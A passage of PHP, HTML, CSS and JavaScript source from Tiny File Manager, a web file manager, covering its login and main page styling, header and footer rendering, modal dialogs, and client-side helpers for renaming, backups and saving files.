0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0
1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1
2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1
0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1
2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2
270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242
149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2
0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1
0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66
0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1
0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0
1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146
112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1
3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162
121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48
48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5
5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5
5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1
0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1
0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1
0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2
14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98
200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1
0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32
40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0
302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17
18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32
273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6
4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0
0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0
3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9
300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0
0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3
3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0
0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0
6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0
6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16
32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3
0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0
0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3
3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0
0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0
6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0
16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3
0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1
0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6
3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0
0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0
6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33
68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3
3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0
1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0
0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3
3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0
0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0
6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0
6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17
180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3
0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0
0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3
3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0
auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{
width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px
rgba(0,0,0,.05)}
        .fm-login-page .card-title{
margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px
0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0
auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid
#ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME ==
"dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    /**
     * Show page footer in Login Form
     */
    function fm_show_footer_login()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}

/**
 * Show Header after login
 */
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' :
'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File
Manager in PHP, Manage your files efficiently and easily with Tiny File
Manager">
    <meta name="author" content="CCP
Programmers">
    <meta name="robots" content="noindex,
nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon"
href="'.fm_enc($favicon_path).'"
type="image/png">'; } ?>
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('pre-cloudflare'); ?>
    <?php print_external('css-bootstrap'); ?>
    <?php print_external('css-font-awesome'); ?>
    <?php if (FM_USE_HIGHLIGHTJS &&
isset($_GET['view'])): ?>
    <?php print_external('css-highlightjs'); ?>
    <?php endif; ?>
    <script type="text/javascript">window.csrf =
'<?php echo $_SESSION['token'];
?>';</script>
    <style>
        html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing:
antialiased; text-rendering: optimizeLegibility; height: 100%;
scroll-behavior: smooth;}
        *,*::before,*::after { box-sizing: border-box;}
        body { font-size:15px; color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a, a:hover, a:visited, a:focus { text-decoration:none !important;
}
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        .brl-0 { background:transparent;border-left:0;
border-top-left-radius: 0; border-bottom-left-radius: 0; }
        .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0;
}
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0,
1),width 0s .25s;}
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table
.custom-checkbox-header .custom-control.custom-checkbox { min-width:18px;
display: flex;align-items: center; justify-content: center; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1;
}
        .hidden { display:none  }
        pre.with-hljs { padding:0; overflow: hidden;  }
        pre.with-hljs code { margin:0;border:0;overflow:scroll;  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0
4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed
#007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form, .preview-img-container {
text-align:center  }
        .message { padding:4px 7px;border:1px solid
#ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img {
max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in
}
        input#preview-img-zoomCheck[type=checkbox] { display:none }
        input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img
{ max-width:none;max-height:none;cursor:zoom-out }
        .inline-actions > a > i {
font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px
4px;border-radius:3px; }
        .preview-video {
position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px
 }
        .preview-video video {
position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th {
width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis 
}
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative 
}
        .break-word + .float-right > a {
color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor {
position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor {
border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { padding:4px 10px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1
FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0,
0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) 
}
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting {
cursor:pointer;background-repeat:no-repeat;background-position:center
right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC');
}
        table.dataTable thead .sorting_asc {
cursor:pointer;background-repeat:no-repeat;background-position:center
right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg==');
}
        table.dataTable thead .sorting_desc {
cursor:pointer;background-repeat:no-repeat;background-position:center
right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII=');
}
        table.dataTable thead tr:first-child
th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title {
font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase;
}
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px
dashed #fff; }
        #snackbar {
visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px;
}
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s,
fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and
(max-device-width:1024px) and (orientation:landscape) and
(-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 {
padding:0; }
        }
       
.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus
{
outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important
}
        .lds-facebook {
display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div {
position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook
1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; }
ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px
solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img { max-width: 300px; }
        .border-radius-0 { border-radius: 0; }
        .float-right { float: right; }
        .table-hover>tbody>tr:hover>td:first-child { border-left:
1px solid #1b77fd; }
        #main-table tr.even { background-color: #F8F9Fa; }
        .filename>a>i {margin-right: 3px;}
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            :root {
                --bs-bg-opacity: 1;
                --bg-color: #f3daa6;
                --bs-dark-rgb: 28, 36, 41 !important;
                --bs-bg-opacity: 1;
            }
            .table-dark { --bs-table-bg: 28, 36, 41 !important; }
            .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color:
#26566c; }
            body.theme-dark { background-image: linear-gradient(90deg,
#1c2429, #263238); color: #CFD8DC; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle,
.break-word { color: #CFD8DC; }
            a, a:hover, a:visited, a:active, #main-table .filename a,
i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
            ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
            .theme-dark .btn-outline-primary { color: #b8e59c;
border-color: #b8e59c; }
            .theme-dark .btn-outline-primary:hover, .theme-dark
.btn-outline-primary:active { background-color: #2d4121;}
            .theme-dark input.form-control { background-color: #101518;
color: #CFD8DC; }
            .theme-dark .dropzone { background: transparent; }
            .theme-dark .inline-actions > a > i { background:
#79755e; }
            .theme-dark .text-white { color: #CFD8DC !important; }
            .theme-dark .table-bordered td, .table-bordered th {
border-color: #343434; }
            .theme-dark .table-bordered td .custom-control-input,
.theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
            .message { background-color: #212529; }
            .compact-table tr:hover td { background-color: #3d3d3d; }
            #main-table tr.even { background-color: #21292f; }
            form.dropzone { border-color: #79755e; }
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ?
'theme-dark' : ''; ?> <?php echo $isStickyNavBar;
?>">
<div id="wrapper" class="container-fluid">
    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem"
tabindex="-1" role="dialog"
data-bs-backdrop="static" data-bs-keyboard="false"
aria-labelledby="newItemModalLabel"
aria-hidden="true">
        <div class="modal-dialog"
role="document">
            <form class="modal-content <?php echo
fm_get_theme(); ?>" method="post">
                <div class="modal-header">
                    <h5 class="modal-title"
id="newItemModalLabel"><i class="fa fa-plus-square
fa-fw"></i><?php echo lng('CreateNewItem')
?></h5>
                    <button type="button"
class="btn-close" data-bs-dismiss="modal"
aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php
echo lng('ItemType') ?> </label></p>
                    <div class="form-check
form-check-inline">
                      <input class="form-check-input"
type="radio" name="newfile"
id="customRadioInline1" name="newfile"
value="file">
                      <label class="form-check-label"
for="customRadioInline1"><?php echo lng('File')
?></label>
                    </div>
                    <div class="form-check
form-check-inline">
                      <input class="form-check-input"
type="radio" name="newfile"
id="customRadioInline2" value="folder" checked>
                      <label class="form-check-label"
for="customRadioInline2"><?php echo lng('Folder')
?></label>
                    </div>

                    <p class="mt-3"><label
for="newfilename"><?php echo lng('ItemName')
?> </label></p>
                    <input type="text"
name="newfilename" id="newfilename" value=""
class="form-control" placeholder="<?php echo
lng('Enter here...') ?>" required>
                </div>
                <div class="modal-footer">
                    <input type="hidden"
name="token" value="<?php echo
$_SESSION['token']; ?>">
                    <button type="button" class="btn
btn-outline-primary" data-bs-dismiss="modal"><i
class="fa fa-times-circle"></i> <?php echo
lng('Cancel') ?></button>
                    <button type="submit" class="btn
btn-success"><i class="fa
fa-check-circle"></i> <?php echo
lng('CreateNow') ?></button>
                </div>
            </form>
        </div>
    </div>

    <!-- Advance Search Modal -->
    <div class="modal fade" id="searchModal"
tabindex="-1" role="dialog"
aria-labelledby="searchModalLabel"
aria-hidden="true">
      <div class="modal-dialog modal-lg"
role="document">
        <div class="modal-content <?php echo fm_get_theme();
?>">
          <div class="modal-header">
            <h5 class="modal-title col-10"
id="searchModalLabel">
                <div class="input-group mb-3">
                  <input type="text"
class="form-control" placeholder="<?php echo
lng('Search') ?> <?php echo lng('a files')
?>" aria-label="<?php echo lng('Search')
?>" aria-describedby="search-addon3"
id="advanced-search" autofocus required>
                  <span class="input-group-text"
id="search-addon3"><i class="fa
fa-search"></i></span>
                </div>
            </h5>
            <button type="button" class="btn-close"
data-bs-dismiss="modal"
aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div
class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo
lng('Search file in folder and subfolders...') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>

    <!--Rename Modal -->
    <div class="modal modal-alert"
data-bs-backdrop="static" data-bs-keyboard="false"
tabindex="-1" role="dialog"
id="renameDailog">
      <div class="modal-dialog" role="document">
        <form class="modal-content rounded-3 shadow <?php echo
fm_get_theme(); ?>" method="post"
autocomplete="off">
          <div class="modal-body p-4 text-center">
            <h5 class="mb-3"><?php echo lng('Are
you sure want to rename?') ?></h5>
            <p class="mb-1">
                <input type="text" name="rename_to"
id="js-rename-to" class="form-control"
placeholder="<?php echo lng('Enter new file name')
?>" required>
                <input type="hidden" name="token"
value="<?php echo $_SESSION['token']; ?>">
                <input type="hidden"
name="rename_from" id="js-rename-from">
            </p>
          </div>
          <div class="modal-footer flex-nowrap p-0">
            <button type="button" class="btn btn-lg
btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end"
data-bs-dismiss="modal"><?php echo lng('Cancel')
?></button>
            <button type="submit" class="btn btn-lg
btn-link fs-6 text-decoration-none col-6 m-0
rounded-0"><strong><?php echo lng('Okay')
?></strong></button>
          </div>
        </form>
      </div>
    </div>

    <!-- Confirm Modal -->
    <script type="text/html"
id="js-tpl-confirm">
        <div class="modal modal-alert confirmDailog"
data-bs-backdrop="static" data-bs-keyboard="false"
tabindex="-1" role="dialog"
id="confirmDailog-<%this.id%>">
          <div class="modal-dialog"
role="document">
            <form class="modal-content rounded-3 shadow <?php
echo fm_get_theme(); ?>" method="post"
autocomplete="off" action="<%this.action%>">
              <div class="modal-body p-4 text-center">
                <h5 class="mb-2"><?php echo
lng('Are you sure want to') ?> <%this.title%>
?</h5>
                <p
class="mb-1"><%this.content%></p>
              </div>
              <div class="modal-footer flex-nowrap p-0">
                <button type="button" class="btn btn-lg
btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end"
data-bs-dismiss="modal"><?php echo lng('Cancel')
?></button>
                <input type="hidden" name="token"
value="<?php echo $_SESSION['token']; ?>">
                <button type="submit" class="btn btn-lg
btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"
data-bs-dismiss="modal"><strong><?php echo
lng('Okay') ?></strong></button>
              </div>
            </form>
          </div>
        </div>
    </script>

    <?php
    }

    /**
     * Show page footer after login
     */
    function fm_show_footer()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])):
?>
    <?php print_external('js-highlightjs'); ?>
    <script>hljs.highlightAll(); var isHighlightingEnabled =
true;</script>
<?php endif; ?>
<script>
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^(
)?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var
r=[];\n',cursor=0,match;var
add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return
add}
       
while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return
r.join("");';return new
Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(t) {
$("#js-rename-from").val(t);$("#js-rename-to").val(t);
$("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >=
0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked
}
    function get_checkboxes() { for (var e =
document.getElementsByName("file[]"), t = [], n = e.length - 1; n
>= 0; n--) (e[n].type = "checkbox") && t.push(e[n]);
return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this),
change_checkboxes(e) }
    function backup(e, t) { // Create file backup with .bck
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t +
"&token="+ window.csrf
+"&type=backup&ajax=true";
        return n.open("POST", "", !0),
n.setRequestHeader("Content-type",
"application/x-www-form-urlencoded"), n.onreadystatechange =
function () {
            4 == n.readyState && 200 == n.status &&
toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x =
document.getElementById("snackbar");x.innerHTML=txt;x.className =
"show";setTimeout(function(){ x.className =
x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() :
document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' && n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: 'save',
token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json;
charset=utf-8",
                    success: function(mes){toast("Saved
Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try
again");},
                    error: function(mes) {toast(`<p
style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"),
a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"),
o.setAttribute("name", "savedata");
                let cx = document.createElement("input");
cx.setAttribute("type",
"hidden");cx.setAttribute("name",
"token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx),
document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() {
$(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url:
form.attr('action'), data:
form.serialize()+"&token="+ window.csrf
+"&ajax="+true,
            success: function (data) {if(data) {
window.location.reload();}}
        }); return false;
    }
    //Create new password hash
